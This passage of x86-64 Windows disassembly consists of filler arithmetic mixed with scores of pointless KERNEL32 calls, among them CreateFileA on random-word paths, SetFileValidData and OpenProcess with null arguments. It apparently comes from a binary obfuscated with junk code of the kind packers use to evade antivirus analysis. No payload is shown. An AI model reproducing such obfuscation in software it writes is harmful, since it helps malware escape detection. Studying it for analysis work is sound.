lea rax, [rsp + 0xc848]
mov qword [rsp + 0xd118], rax
mov rax, qword [rsp + 0xa9f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcc50]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x12cc], ax
movsx eax, byte [rsp + 0x117]
mov rcx, qword [rsp + 0xc888]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401e605f], al
movzx eax, byte [rsp + 0xfd]
movzx ecx, byte [rsp + 0x130]
xor eax, ecx
mov byte [rsp + 0x104], al
lea rax, [rsp + 0xe4c]
mov qword [rsp + 0xd120], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
movsx eax, byte [rsp + 0x180]
mov rcx, qword [rsp + 0xa400]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xe1], al
lea rax, [rsp + 0x4820]
mov qword [rsp + 0xd128], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [rsp + 0xbc90]
mov rcx, qword [0x1401e6020]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xac38], rax
mov rax, qword [rsp + 0xce58]
mov rcx, qword [rsp + 0xaec8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa5d0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4cdc]
mov dword [rsp + 0x4dc0], eax
mov rax, qword [rsp + 0xbdb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x10e], al
lea rax, [rsp + 0x93]
mov qword [0x1401e7af8], rax
mov rax, qword [rsp + 0xae50]
movzx eax, word [rax]
mov word [rsp + 0x134c], ax
movsx eax, word [rsp + 0xd88]
movsx ecx, word [0x1401e6094]
add eax, ecx
mov word [rsp + 0x12c8], ax
lea rax, [rsp + 0x1288]
mov qword [rsp + 0xd130], rax
mov rax, qword [rsp + 0x9cd0]
mov ecx, dword [rsp + 0x47bc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xca40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9f68]
mov rcx, qword [rsp + 0xcd08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1f0], rax
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov dword [rsp + 0x4dc4], eax
mov rax, qword [rsp + 0xa4e8]
mov rcx, qword [rsp + 0xaf98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaf50], rax
lea rax, [rsp + 0xe1c]
mov qword [rsp + 0xd138], rax
movsx eax, byte [rsp + 0x180]
movsx ecx, byte [rsp + 0xce]
add eax, ecx
mov rcx, qword [0x1401e7a10]
mov byte [rcx], al
mov rax, qword [rsp + 0xd130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb60], ax
mov rax, qword [0x1401e7660]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb84]
add eax, ecx
mov word [rsp + 0xc3c], ax
lea rax, [rsp + 0x157]
mov qword [rsp + 0xd140], rax
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0xb050]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1da], al
mov rax, qword [rsp + 0x92f8]
mov eax, dword [rax]
mov dword [rsp + 0x4dc8], eax
mov rax, qword [rsp + 0xcbb0]
mov rcx, qword [rsp + 0xb5d8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9360]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa378]
mov rcx, qword [rsp + 0x8db8]
mov qword [rsp + 0xd148], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd148]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcff0], rax
mov rax, qword [rsp + 0x9a20]
mov eax, dword [rax]
mov dword [rsp + 0x4dcc], eax
lea rax, [rsp + 0x11b8]
mov qword [0x1401e7b00], rax
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0x12d8]
or eax, ecx
mov rcx, qword [rsp + 0x9280]
mov word [rcx], ax
mov rax, qword [0x1401e74d8]
movzx eax, byte [rax]
mov byte [rsp + 0x1e1], al
lea rcx, str.misogynists_Rabbi
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1350], ax
movsx eax, word [rsp + 0xba0]
movsx ecx, word [rsp + 0x10c4]
and eax, ecx
mov word [rsp + 0xd80], ax
mov rax, qword [rsp + 0xb380]
movzx eax, byte [rax]
mov byte [rsp + 0x1e2], al
mov rax, qword [rsp + 0x9968]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc5d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x92f0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov rax, qword [rsp + 0xbd38]
mov rcx, qword [rsp + 0xd060]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb298], rax
mov rax, qword [rsp + 0xb2a0]
mov eax, dword [rax]
mov dword [rsp + 0x4dd0], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9688], rax
movzx ecx, word [rsp + 0x1264]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1150], ax
mov eax, dword [0x1401e6014]
mov ecx, dword [rsp + 0x486c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x49f8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xe0]
mov qword [0x1401e7b08], rax
mov rcx, qword [rsp + 0xc418]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0xf48]
mov qword [rsp + 0xd150], rax
movzx eax, word [rsp + 0xc84]
mov rcx, qword [rsp + 0xb980]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfc4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rdx, [rsp + 0x28490]
mov rcx, qword [rsp + 0xb078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4d70], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0xcd38]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa7b0]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4994], eax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0xd158], rax
mov rax, qword [rsp + 0x9e88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
mov rax, qword [rsp + 0xa808]
mov eax, dword [rax]
mov dword [rsp + 0x4dd4], eax
mov rax, qword [rsp + 0x9ac0]
mov rcx, qword [rsp + 0xaa88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9120]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.C:PolymerPromptlyGrove
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xd160], rax
mov rax, qword [rsp + 0x9d28]
mov rcx, qword [rsp + 0x9e28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc018]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc120]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd3c]
add eax, ecx
mov word [0x1401e60d4], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
lea rax, [rsp + 0x10ec]
mov qword [rsp + 0xd168], rax
lea rdx, [rsp + 0xd170]
mov rcx, qword [rsp + 0xbd28]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4460], eax
mov rax, qword [rsp + 0xad70]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e603a]
xor eax, ecx
mov rcx, qword [rsp + 0xbdd0]
mov byte [rcx], al
lea rax, [rsp + 0xfb8]
mov qword [rsp + 0xd178], rax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
or eax, ecx
mov rcx, qword [rsp + 0xba78]
mov byte [rcx], al
xor edx, edx
mov eax, dword [rsp + 0x4384]
mov rcx, qword [rsp + 0xa0c0]
div dword [rcx]
mov rcx, qword [rsp + 0x9c50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c08]
mov eax, dword [rax]
mov dword [rsp + 0x4dd8], eax
mov rax, qword [rsp + 0xba38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa200]
shl rax, cl
mov qword [rsp + 0x93d0], rax
mov rax, qword [rsp + 0x9138]
mov rax, qword [rax]
mov qword [rsp + 0xd180], rax
mov edx, 0x731dd5
mov rcx, qword [rsp + 0xc450]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x49d0], eax
movzx eax, byte [rsp + 0xed]
movzx ecx, byte [rsp + 0xb0]
sar eax, cl
mov byte [0x1401e608b], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xc558], rax
mov edx, 0x43f355
mov rcx, qword [rsp + 0x9f10]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4ddc], eax
movsx eax, word [rsp + 0xd64]
mov rcx, qword [rsp + 0xbb58]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9938]
mov word [rcx], ax
lea rax, [0x1401e60f4]
mov qword [rsp + 0xd188], rax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
movsx eax, byte [rsp + 0x14e]
movsx ecx, byte [rsp + 0x5c]
sub eax, ecx
mov byte [rsp + 0xff], al
mov rax, qword [rsp + 0xc698]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc2e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa610]
mov byte [rcx], al
lea rax, [0x1401e6020]
mov qword [rsp + 0xd190], rax
mov rax, qword [rsp + 0xa0a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4800]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a8c], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xdb9b
mov rcx, qword [rsp + 0x9300]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47c8], eax
mov rax, qword [rsp + 0xb618]
mov rax, qword [rax]
mov qword [rsp + 0xd198], rax
lea rcx, [rsp + 0xcc20]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xbd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b04]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ab0], eax
movzx eax, word [rsp + 0xe64]
movzx ecx, word [rsp + 0x12e0]
add eax, ecx
mov word [0x1401e6174], ax
mov rax, qword [rsp + 0xbd08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11f0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0xce]
mov byte [rsp + 0x1e3], al
movzx eax, byte [rsp + 0xef]
movzx ecx, byte [rsp + 0x1a1]
and eax, ecx
mov rcx, qword [rsp + 0xd108]
mov byte [rcx], al
mov rax, qword [rsp + 0x9db0]
movzx eax, word [rax]
mov word [rsp + 0x1354], ax
mov rax, qword [rsp + 0x9a10]
mov ecx, dword [rsp + 0x44a8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc3e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4d3c]
movzx ecx, al
mov eax, dword [rsp + 0x4bb0]
shl eax, cl
mov dword [rsp + 0x4900], eax
lea rax, [rsp + 0xa290]
mov qword [rsp + 0xd1a0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x491c], eax
mov rax, qword [rsp + 0xc728]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401e7420]
sar rax, cl
mov qword [rsp + 0xbe28], rax
lea rcx, str.Purdah_oaf_brainteasers_Rang
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1178], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x46c0], eax
lea rcx, [rsp + 0xd1a8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9bb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f78]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401e60ae], al
movzx eax, word [rsp + 0xc40]
mov word [rsp + 0x1358], ax
movzx ecx, word [rsp + 0xe8c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf98], ax
mov rax, qword [rsp + 0xaa68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xab88]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa468]
mov word [rcx], ax
lea rcx, [rsp + 0x25660]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rax, [rsp + 0x10bc]
mov qword [rsp + 0xd1b0], rax
movsx eax, byte [rsp + 0xf2]
mov rcx, qword [0x1401e7a10]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x66], al
mov rax, qword [rsp + 0xc0e0]
mov ecx, dword [rsp + 0x4bc0]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x4584], eax
lea rax, [rsp + 0xcf08]
mov qword [rsp + 0xd1b8], rax
mov rax, qword [rsp + 0xb240]
mov rcx, qword [rsp + 0xc170]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x96d8], rax
mov eax, dword [rsp + 0x4340]
mov dword [rsp + 0x4de0], eax
movzx eax, word [rsp + 0xbb8]
mov word [0x1401e7b10], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd1c0], rax
mov rax, qword [rsp + 0x9760]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9310]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10d0], ax
mov rax, qword [0x1401e7748]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd058]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x173], al
lea rax, [rsp + 0x16e]
mov qword [rsp + 0xd1c8], rax
lea rdx, [rsp + 0x28458]
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x47e0], eax
movsx eax, byte [rsp + 0x118]
mov rcx, qword [rsp + 0xc370]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb928]
mov byte [rcx], al
lea rcx, [rsp + 0x8e48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4de4], eax
lea rax, [rsp + 0xa1f8]
mov qword [rsp + 0xd1d0], rax
lea rcx, [rsp + 0x2a8a0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4414], eax
mov rax, qword [rsp + 0xb3c0]
mov rcx, qword [rsp + 0xb1d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4398], eax
mov rax, qword [rsp + 0xa860]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x49ac], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
lea rax, [rsp + 0xb3e8]
mov qword [rsp + 0xd1d8], rax
mov rax, qword [rsp + 0xa7d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb9c0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa480]
mov word [rcx], ax
mov rax, qword [rsp + 0xb108]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e6053]
add eax, ecx
mov byte [0x1401e6077], al
lea rax, [rsp + 0xbd4]
mov qword [rsp + 0xd1e0], rax
movzx eax, byte [rsp + 0xbe]
movzx ecx, byte [rsp + 0x167]
and eax, ecx
mov byte [rsp + 0x6c], al
mov rax, qword [rsp + 0xbb28]
movzx eax, word [rax]
mov rcx, qword [0x1401e77c0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x11e4], ax
lea rcx, [rsp + 0x26c38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xb5c8]
mov qword [rsp + 0xd1e8], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4de8], eax
lea rdx, [rsp + 0x8e48]
mov rcx, qword [rsp + 0xa9b8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4324], eax
mov rax, qword [rsp + 0xad50]
mov ecx, dword [rsp + 0x4600]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x488c], eax
mov rax, qword [rsp + 0x9f18]
mov eax, dword [rax]
mov dword [rsp + 0x4dec], eax
mov rax, qword [rsp + 0xc448]
mov rcx, qword [0x1401e7420]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd78], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x1e7a
mov rcx, qword [rsp + 0x9f10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4df0], eax
mov rax, qword [rsp + 0x9118]
movzx eax, byte [rax]
mov byte [rsp + 0x1e4], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rcx, [rsp + 0x255c0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rax, [rsp + 0xb98]
mov qword [0x1401e7b18], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [rsp + 0xc4c0]
movzx eax, word [rax]
mov rcx, qword [0x1401e75e0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xe3c], ax
movsx eax, byte [rsp + 0x142]
mov rcx, qword [rsp + 0xce00]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x15c], al
lea rcx, [rsp + 0xd1f0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xaea0]
movzx eax, word [rax]
mov word [rsp + 0x135c], ax
mov rax, qword [rsp + 0x9d88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcff0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa3f8], rax
mov rax, qword [rsp + 0x9130]
mov eax, dword [rax]
mov dword [rsp + 0x4df4], eax
mov rax, qword [rsp + 0xbe48]
mov rcx, qword [rsp + 0x9b70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb040], rax
movzx ecx, word [rsp + 0x12b8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1350], ax
mov eax, dword [rsp + 0x46ec]
mov ecx, dword [rsp + 0x4ca8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc1f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb50]
movzx eax, word [rax]
mov word [rsp + 0x1360], ax
lea rax, [rsp + 0xdfc]
mov qword [0x1401e7b20], rax
movzx eax, byte [rsp + 0x147]
movzx ecx, byte [0x1401e602e]
add eax, ecx
mov rcx, qword [rsp + 0xc748]
mov byte [rcx], al
movzx eax, byte [rsp + 0x167]
mov byte [rsp + 0x1e5], al
movzx eax, byte [rsp + 0x1df]
movzx ecx, byte [rsp + 0x196]
sub eax, ecx
mov rcx, qword [rsp + 0x9820]
mov byte [rcx], al
mov rcx, qword [rsp + 0xbb88]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x47e0], eax
mov rax, qword [rsp + 0xa5e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb910]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb6f8], rax
lea rax, [rsp + 0x4728]
mov qword [rsp + 0xd1f8], rax
mov rax, qword [rsp + 0xa418]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x445c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcd28]
mov rax, qword [rax]
mov qword [rsp + 0xd200], rax
mov rax, qword [rsp + 0xc0d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12fc]
sub eax, ecx
mov word [rsp + 0xec4], ax
mov rax, qword [rsp + 0x9430]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcb8]
sub eax, ecx
mov word [0x1401e6134], ax
movzx eax, byte [rsp + 0x1d7]
mov rcx, qword [rsp + 0x9770]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x58], al
lea rax, [rsp + 0x64]
mov qword [rsp + 0xd208], rax
mov rax, qword [rsp + 0xb758]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x160]
sub eax, ecx
mov byte [rsp + 0x162], al
lea rax, [0x1401e60bc]
mov qword [rsp + 0xd210], rax
mov eax, dword [rsp + 0x4584]
mov rcx, qword [rsp + 0xb888]
mov qword [rsp + 0xd218], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd218]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x43bc], eax
lea rax, [rsp + 0xcbb0]
mov qword [rsp + 0xd220], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.C:DeafeninglyHideousnessDigressedBunchImmortality
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xd228], rax
mov eax, dword [0x1401e6018]
mov rcx, qword [rsp + 0x9d90]
mov qword [rsp + 0xd230], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd230]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x43b0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xc2f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb90]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
movzx ecx, word [rsp + 0xc80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc44], ax
mov rax, qword [rsp + 0x92c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf44]
xor eax, ecx
mov word [0x1401e7928], ax
movzx eax, byte [rsp + 0x81]
mov byte [rsp + 0x1e6], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xd238], rax
mov rax, qword [rsp + 0xa728]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa7]
and eax, ecx
mov rcx, qword [rsp + 0x9b68]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9f10]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4bd0], eax
mov rax, qword [rsp + 0xc378]
movzx eax, word [rax]
mov word [rsp + 0x1364], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xbe20], rax
movzx eax, byte [rsp + 0xa6]
movzx ecx, byte [rsp + 0x137]
sub eax, ecx
mov byte [rsp + 0x1ca], al
mov rax, qword [rsp + 0xc040]
mov rcx, qword [rsp + 0xc200]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc530]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc9b8]
mov qword [rsp + 0xd240], rax
mov edx, 0x1a5257
mov rcx, qword [rsp + 0x99e0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4df8], eax
mov rax, qword [rsp + 0x95b8]
mov ecx, dword [rsp + 0x46d8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4974], eax
lea rax, [rsp + 0x4808]
mov qword [rsp + 0xd248], rax
mov rax, qword [rsp + 0xbfd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb5d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e6178], ax
mov r9d, 1
lea r8, [rsp + 0xabd0]
mov rdx, qword [rsp + 0x8e48]
mov rcx, qword [rsp + 0xb5f8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4578], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xd250], rax
mov rax, qword [0x1401e7448]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa9a8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xfa], al
mov rax, qword [rsp + 0xbf68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9920]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd3], al
movzx eax, word [0x1401e7878]
mov word [rsp + 0x1368], ax
mov rax, qword [rsp + 0xa9f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd50]
sub eax, ecx
mov word [rsp + 0xc78], ax
lea rcx, [rsp + 0x29f40]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x47b4], eax
mov eax, dword [rsp + 0x4858]
mov dword [rsp + 0x4dfc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xb480], rax
mov rax, qword [0x1401e7410]
mov rcx, qword [rsp + 0xa000]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xafd8], rax
mov rax, qword [rsp + 0x94f0]
mov qword [rsp + 0xd258], rax
mov rax, qword [rsp + 0xac20]
mov rcx, qword [rsp + 0xa7f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xb6b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb610]
movsx eax, word [rax]
mov rcx, qword [0x1401e79f8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401e74b0], ax
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4564], eax
mov rax, qword [rsp + 0xbff8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x13f]
xor eax, ecx
mov byte [rsp + 0x53], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.C:_forceps_slats
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xd260], rax
mov rcx, qword [rsp + 0x9460]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x126c]
mov word [rsp + 0x136c], ax
mov rax, qword [rsp + 0x98b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf1]
sar eax, cl
mov byte [rsp + 0xfe], al
lea rax, [rsp + 0xf8]
mov qword [rsp + 0xd268], rax
mov eax, dword [rsp + 0x4398]
mov ecx, dword [rsp + 0x4420]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd010]
mov rcx, qword [rsp + 0xc530]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc908]
mov qword [rcx], rax
lea rax, [rsp + 0x4778]
mov qword [rsp + 0xd270], rax
mov rax, qword [rsp + 0x9b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9648]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa10], rax
lea rax, [0x1401e60dc]
mov qword [0x1401e7b28], rax
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0xd278], rax
movsx eax, word [rsp + 0xd90]
mov rcx, qword [rsp + 0xb020]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x104c], ax
mov rax, qword [rsp + 0xa038]
